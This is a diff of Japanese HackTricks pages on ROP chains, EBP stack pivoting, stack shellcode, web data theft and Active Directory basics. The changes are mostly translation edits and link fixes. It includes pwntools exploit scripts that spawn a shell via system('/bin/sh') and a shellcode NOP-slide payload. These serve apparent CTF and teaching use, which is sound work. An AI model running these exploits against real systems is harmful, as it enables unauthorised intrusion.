1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用してスタック上の保存された戻りアドレスを上書きします。
|
||||||
2. **ガジェットの連鎖**: 次に、攻撃者は目的のアクションを実行するためにガジェットを慎重に選択し、連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
|
2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
|
||||||
3. **ペイロードの実行**: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
|
3. **ペイロードの実行**: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
|
||||||
|
|
||||||
### ツール
|
### ツール
|
||||||
@ -21,7 +21,7 @@
|
|||||||
### **x86 (32ビット) 呼び出し規約**
|
### **x86 (32ビット) 呼び出し規約**
|
||||||
|
|
||||||
- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
|
- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
|
||||||
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任があります。
|
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。
|
||||||
|
|
||||||
### **ガジェットの発見**
|
### **ガジェットの発見**
|
||||||
|
|
||||||
@ -34,10 +34,10 @@
|
|||||||
|
|
||||||
### **ROPチェーン**
|
### **ROPチェーン**
|
||||||
|
|
||||||
**pwntools** を使用して、`system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります:
|
**pwntools** を使用して、次のように ROPチェーンの実行のためにスタックを準備します。`system('/bin/sh')` を実行することを目指し、チェーンが次のように始まることに注意してください:
|
||||||
|
|
||||||
1. アライメント目的のための `ret` 命令(オプション)
|
1. アライメント目的のための `ret` 命令(オプション)
|
||||||
2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/) を参照)
|
2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/index.html) を参照)
|
||||||
3. `system()` からの戻りアドレスのプレースホルダー
|
3. `system()` からの戻りアドレスのプレースホルダー
|
||||||
4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ)
|
4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ)
|
||||||
```python
|
```python
|
||||||
@ -75,24 +75,24 @@ p.interactive()
|
|||||||
```
|
```
|
||||||
## ROP Chain in x64 Example
|
## ROP Chain in x64 Example
|
||||||
|
|
||||||
### **x64 (64-bit) 呼び出し規約**
|
### **x64 (64-bit) Calling conventions**
|
||||||
|
|
||||||
- **System V AMD64 ABI** 呼び出し規約を使用し、Unix系システムでは **最初の6つの整数またはポインタ引数がレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9`** に渡されます。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
- **System V AMD64 ABI** コール規約を使用し、Unix系システムでは **最初の6つの整数またはポインタ引数がレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
||||||
- **Windows x64** 呼び出し規約では、最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
- **Windows x64** コール規約では、最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
||||||
- **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。
|
- **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。
|
||||||
|
|
||||||
#### **ガジェットの発見**
|
#### **Finding Gadgets**
|
||||||
|
|
||||||
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェットに焦点を当てましょう(**"/bin/sh"** 文字列を **system()** に引数として渡すため)そしてその後 **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
|
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
|
||||||
|
|
||||||
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、その後戻ります。**system()** の引数を設定するために不可欠です。
|
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。
|
||||||
- **ret**: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。
|
- **ret**: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。
|
||||||
|
|
||||||
そして、**system()** 関数のアドレスを知っています。
|
そして、**system()** 関数のアドレスを知っています。
|
||||||
|
|
||||||
### **ROP Chain**
|
### **ROP Chain**
|
||||||
|
|
||||||
以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し実行する例です:
|
以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し、実行する例です:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -135,17 +135,17 @@ p.interactive()
|
|||||||
|
|
||||||
### スタックアライメント
|
### スタックアライメント
|
||||||
|
|
||||||
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが適切にアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** などの関数呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
|
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが適切にアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
|
||||||
|
|
||||||
## x86 と x64 の主な違い
|
## x86 と x64 の主な違い
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> x64 は最初のいくつかの引数にレジスタを使用するため、単純な関数呼び出しには x86 よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
|
> x64 は最初のいくつかの引数にレジスタを使用するため、単純な関数呼び出しには x86 よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
|
||||||
|
|
||||||
## 保護
|
## 保護機能
|
||||||
|
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
|
||||||
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/)
|
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
|
||||||
|
|
||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
|
||||||
@ -155,7 +155,7 @@ p.interactive()
|
|||||||
|
|
||||||
ROP は任意のコードを実行するための技術に過ぎないことに注意してください。ROP に基づいて多くの Ret2XXX 技術が開発されました:
|
ROP は任意のコードを実行するための技術に過ぎないことに注意してください。ROP に基づいて多くの Ret2XXX 技術が開発されました:
|
||||||
|
|
||||||
- **Ret2lib**: ROP を使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。
|
- **Ret2lib**: ROP を使用して、任意のパラメータ(通常は `system('/bin/sh')` のようなもの)でロードされたライブラリから任意の関数を呼び出します。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2lib/
|
ret2lib/
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと`leave; ret`命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを可能にします。
|
この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと`leave; ret`命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを目的としています。
|
||||||
|
|
||||||
念のため、**`leave`**は基本的に次の意味です:
|
念のため、**`leave`**は基本的に次の意味です:
|
||||||
```
|
```
|
||||||
@ -18,31 +18,31 @@ ret
|
|||||||
|
|
||||||
この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。
|
この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。
|
||||||
|
|
||||||
`fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入できれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\
|
`fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入することに成功すれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作によりESPは4減少し、**実質的に攻撃者がそこに保存したアドレスを指すことになります。**\
|
||||||
2つのアドレスを**知っておく必要があることに注意してください**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要があるアドレスです。
|
ここで、**2つのアドレスを知っておく必要があります**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要がある場所です。
|
||||||
|
|
||||||
#### エクスプロイト構築
|
#### 攻撃構築
|
||||||
|
|
||||||
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
|
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
|
||||||
|
|
||||||
次に、**任意のコードを実行する`ret`が使用するアドレス**を知っておく必要があります。以下を使用できます:
|
次に、**任意のコードを実行する**ために使用される`ret`のアドレスを知っておく必要があります。以下のように使用できます:
|
||||||
|
|
||||||
- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
|
- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
|
||||||
- **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレス(x86ビット)。
|
- **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレス(x86ビット)。
|
||||||
- **`jump esp;`**ガジェットのアドレス([**ret2esp**](ret2esp-ret2reg.md))の後に**実行するシェルコード**。
|
- **`jump esp;`**ガジェットのアドレス([**ret2esp**](ret2esp-ret2reg.md))の後に**実行するシェルコード**。
|
||||||
- 一部の[**ROP**](rop-return-oriented-programing.md)チェーン。
|
- 一部の[**ROP**](rop-return-oriented-programing.md)チェーン。
|
||||||
|
|
||||||
これらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
|
これらのアドレスの前には、**`pop`**命令のために**`4`バイト**が必要です。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
|
||||||
|
|
||||||
#### Off-By-Oneエクスプロイト
|
#### Off-By-One Exploit
|
||||||
|
|
||||||
この技術の特定のバリアントは「Off-By-Oneエクスプロイト」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPと最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能です。
|
この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPと最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能です。
|
||||||
|
|
||||||
### **EBPチェイニング**
|
### **EBPチェイニング**
|
||||||
|
|
||||||
したがって、スタックの`EBP`エントリに制御されたアドレスを置き、`EIP`に`leave; ret`のアドレスを置くことで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。
|
したがって、スタックの`EBP`エントリに制御されたアドレスを置き、`EIP`に`leave; ret`のアドレスを置くことで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。
|
||||||
|
|
||||||
今、**`ESP`**は望ましいアドレスを指すように制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを置くことが可能です:
|
今、**`ESP`**は望ましいアドレスを指して制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを置くことが可能です:
|
||||||
|
|
||||||
- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
|
- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
|
||||||
- **`system()`** -> `ret`によって呼び出される
|
- **`system()`** -> `ret`によって呼び出される
|
||||||
@ -51,9 +51,9 @@ ret
|
|||||||
|
|
||||||
基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。
|
基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。
|
||||||
|
|
||||||
これは[ret2lib](ret2lib/)のようなものですが、明らかな利点はなく、特定のエッジケースでは興味深いかもしれません。
|
これは[ret2lib](ret2lib/index.html)のようなものですが、明らかな利点はなく、特定のエッジケースでは興味深いかもしれません。
|
||||||
|
|
||||||
さらに、ここにこの技術を使用して**スタックリーク**で勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終ペイロードです:
|
さらに、ここにこの技術を使用した[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これは**スタックリーク**を使用して勝利関数を呼び出します。これはページからの最終ペイロードです:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -91,8 +91,8 @@ print(p.recvline())
|
|||||||
```
|
```
|
||||||
## EBPは無意味
|
## EBPは無意味
|
||||||
|
|
||||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができません**。したがって、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。\
|
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||||||
これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。
|
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||||||
|
|
||||||
- **最適化されていない:**
|
- **最適化されていない:**
|
||||||
```bash
|
```bash
|
||||||
@ -120,7 +120,7 @@ ret # return
|
|||||||
|
|
||||||
### **`pop rsp`** ガジェット
|
### **`pop rsp`** ガジェット
|
||||||
|
|
||||||
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからのリーク**があります:
|
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからの漏洩**があります:
|
||||||
```python
|
```python
|
||||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||||
# This version has added comments
|
# This version has added comments
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# スタックシェルコード
|
# Stack Shellcode
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**スタックシェルコード**は、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後**命令ポインタ (IP)**または**拡張命令ポインタ (EIP)**をこのシェルコードの位置を指すように変更し、実行させるバイナリエクスプロイトの技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下は、プロセスの内訳で、シンプルなCの例と、**pwntools**を使用して対応するエクスプロイトを書く方法を示します。
|
**Stack shellcode** は、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更することで実行させる、バイナリエクスプロイトにおける技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下に、プロセスの内訳と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。
|
||||||
|
|
||||||
### Cの例: 脆弱なプログラム
|
### Cの例: 脆弱なプログラム
|
||||||
|
|
||||||
@ -68,12 +68,12 @@ p.interactive()
|
|||||||
```
|
```
|
||||||
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
|
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
|
||||||
|
|
||||||
**NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。
|
**NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達させます。
|
||||||
|
|
||||||
## 保護
|
## 保護
|
||||||
|
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **は無効にするべき**で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。
|
||||||
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。
|
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/index.html)も無効にするべきで、侵害されたEIPの戻りアドレスは決して追跡されません。
|
||||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
|
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
|
||||||
|
|
||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
@ -1,13 +1,13 @@
|
|||||||
# ウェブからの機密情報漏洩の盗難
|
# Webからの機密情報漏洩の盗難
|
||||||
|
|
||||||
{{#include ./banners/hacktricks-training.md}}
|
{{#include ./banners/hacktricks-training.md}}
|
||||||
|
|
||||||
もしあなたが**セッションに基づいて機密情報を表示するウェブページ**を見つけた場合:クッキーを反映しているか、印刷またはクレジットカードの詳細やその他の機密情報を表示しているかもしれません。あなたはそれを盗むことを試みるかもしれません。\
|
もし、あなたのセッションに基づいて機密情報を表示する**ウェブページを見つけた場合**: それはクッキーを反映しているか、印刷またはクレジットカードの詳細などの他の機密情報を表示しているかもしれません。あなたはそれを盗むことを試みることができます。\
|
||||||
ここでは、それを達成するために試すことができる主な方法を紹介します:
|
ここでは、それを達成するための主な方法を紹介します:
|
||||||
|
|
||||||
- [**CORSバイパス**](pentesting-web/cors-bypass.md):CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを行うことで情報を盗むことができます。
|
- [**CORSバイパス**](pentesting-web/cors-bypass.md): CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを行うことで情報を盗むことができます。
|
||||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): ページにXSS脆弱性が見つかれば、それを悪用して情報を盗むことができるかもしれません。
|
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): ページにXSS脆弱性が見つかれば、それを悪用して情報を盗むことができるかもしれません。
|
||||||
- [**ダンギングマークアップ**](pentesting-web/dangling-markup-html-scriptless-injection/): XSSタグを注入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。
|
- [**ダンリングマークアップ**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSSタグを注入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。
|
||||||
- [**クリックジャッキング**](pentesting-web/clickjacking.md):この攻撃に対する保護がない場合、ユーザーを騙して機密データを送信させることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。
|
- [**クリックジャッキング**](pentesting-web/clickjacking.md): この攻撃に対する保護がない場合、ユーザーを騙して機密データを送信させることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。
|
||||||
|
|
||||||
{{#include ./banners/hacktricks-training.md}}
|
{{#include ./banners/hacktricks-training.md}}
|
||||||
|
@ -1,13 +1,13 @@
|
|||||||
# ウェブからの機密情報漏洩の盗難
|
# Webからの機密情報漏洩の盗難
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
もし、あなたのセッションに基づいて機密情報を表示する**ウェブページを見つけた場合**: それはクッキーを反映しているか、印刷またはクレジットカードの詳細やその他の機密情報を表示しているかもしれません。あなたはそれを盗むことを試みるかもしれません。\
|
もしあなたが**セッションに基づいて機密情報を表示するウェブページ**を見つけた場合:クッキーを反映しているか、CCの詳細やその他の機密情報を印刷しているかもしれません、それを盗むことを試みることができます。\
|
||||||
ここでは、それを達成するために試すことができる主な方法を紹介します:
|
ここでは、それを達成するために試すことができる主な方法を紹介します:
|
||||||
|
|
||||||
- [**CORSバイパス**](../pentesting-web/cors-bypass.md): CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを行うことで情報を盗むことができます。
|
- [**CORSバイパス**](../pentesting-web/cors-bypass.md):CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを行うことで情報を盗むことができます。
|
||||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): ページにXSS脆弱性が見つかれば、それを悪用して情報を盗むことができるかもしれません。
|
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html):ページにXSSの脆弱性がある場合、それを悪用して情報を盗むことができるかもしれません。
|
||||||
- [**ダンギングマークアップ**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSSタグを注入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。
|
- [**ダンギングマークアップ**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html):XSSタグを注入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。
|
||||||
- [**クリックジャッキング**](../pentesting-web/clickjacking.md): この攻撃に対する保護がない場合、ユーザーを騙して機密データを送信させることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。
|
- [**クリックジャッキング**](../pentesting-web/clickjacking.md):この攻撃に対する保護がない場合、ユーザーを騙して機密データを送信させることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## 基本概要
|
## 基本概要
|
||||||
|
|
||||||
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、大規模なユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
||||||
|
|
||||||
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
|
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、**信頼関係**を通じて相互接続された複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
|
||||||
|
|
||||||
**Active Directory**内の主要な概念には以下が含まれます:
|
**Active Directory**内の主要な概念には以下が含まれます:
|
||||||
|
|
||||||
@ -14,15 +14,15 @@
|
|||||||
2. **オブジェクト** – ディレクトリ内のエンティティを示し、**ユーザー**、**グループ**、または**共有フォルダー**を含みます。
|
2. **オブジェクト** – ディレクトリ内のエンティティを示し、**ユーザー**、**グループ**、または**共有フォルダー**を含みます。
|
||||||
3. **ドメイン** – ディレクトリオブジェクトのコンテナとして機能し、複数のドメインが**フォレスト**内で共存でき、それぞれが独自のオブジェクトコレクションを維持します。
|
3. **ドメイン** – ディレクトリオブジェクトのコンテナとして機能し、複数のドメインが**フォレスト**内で共存でき、それぞれが独自のオブジェクトコレクションを維持します。
|
||||||
4. **ツリー** – 共通のルートドメインを共有するドメインのグループです。
|
4. **ツリー** – 共通のルートドメインを共有するドメインのグループです。
|
||||||
5. **フォレスト** – Active Directoryにおける組織構造の頂点であり、**信頼関係**を持ついくつかのツリーで構成されています。
|
5. **フォレスト** – Active Directoryにおける組織構造の頂点であり、**信頼関係**を持つ複数のツリーで構成されています。
|
||||||
|
|
||||||
**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
|
**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
|
||||||
|
|
||||||
1. **ドメインサービス** – データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
|
1. **ドメインサービス** – データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
|
||||||
2. **証明書サービス** – 安全な**デジタル証明書**の作成、配布、および管理を監督します。
|
2. **証明書サービス** – 安全な**デジタル証明書**の作成、配布、および管理を監督します。
|
||||||
3. **軽量ディレクトリサービス** – **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
|
3. **軽量ディレクトリサービス** – **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
|
||||||
4. **ディレクトリ連携サービス** – 複数のWebアプリケーションでユーザーを単一のセッションで認証するための**シングルサインオン**機能を提供します。
|
4. **ディレクトリ連携サービス** – 複数のWebアプリケーションでユーザーを認証するための**シングルサインオン**機能を提供します。
|
||||||
5. **権利管理** – 著作権資料を保護するために、その無許可の配布および使用を規制します。
|
5. **権利管理** – 著作権資料を保護し、その無許可の配布および使用を規制するのを支援します。
|
||||||
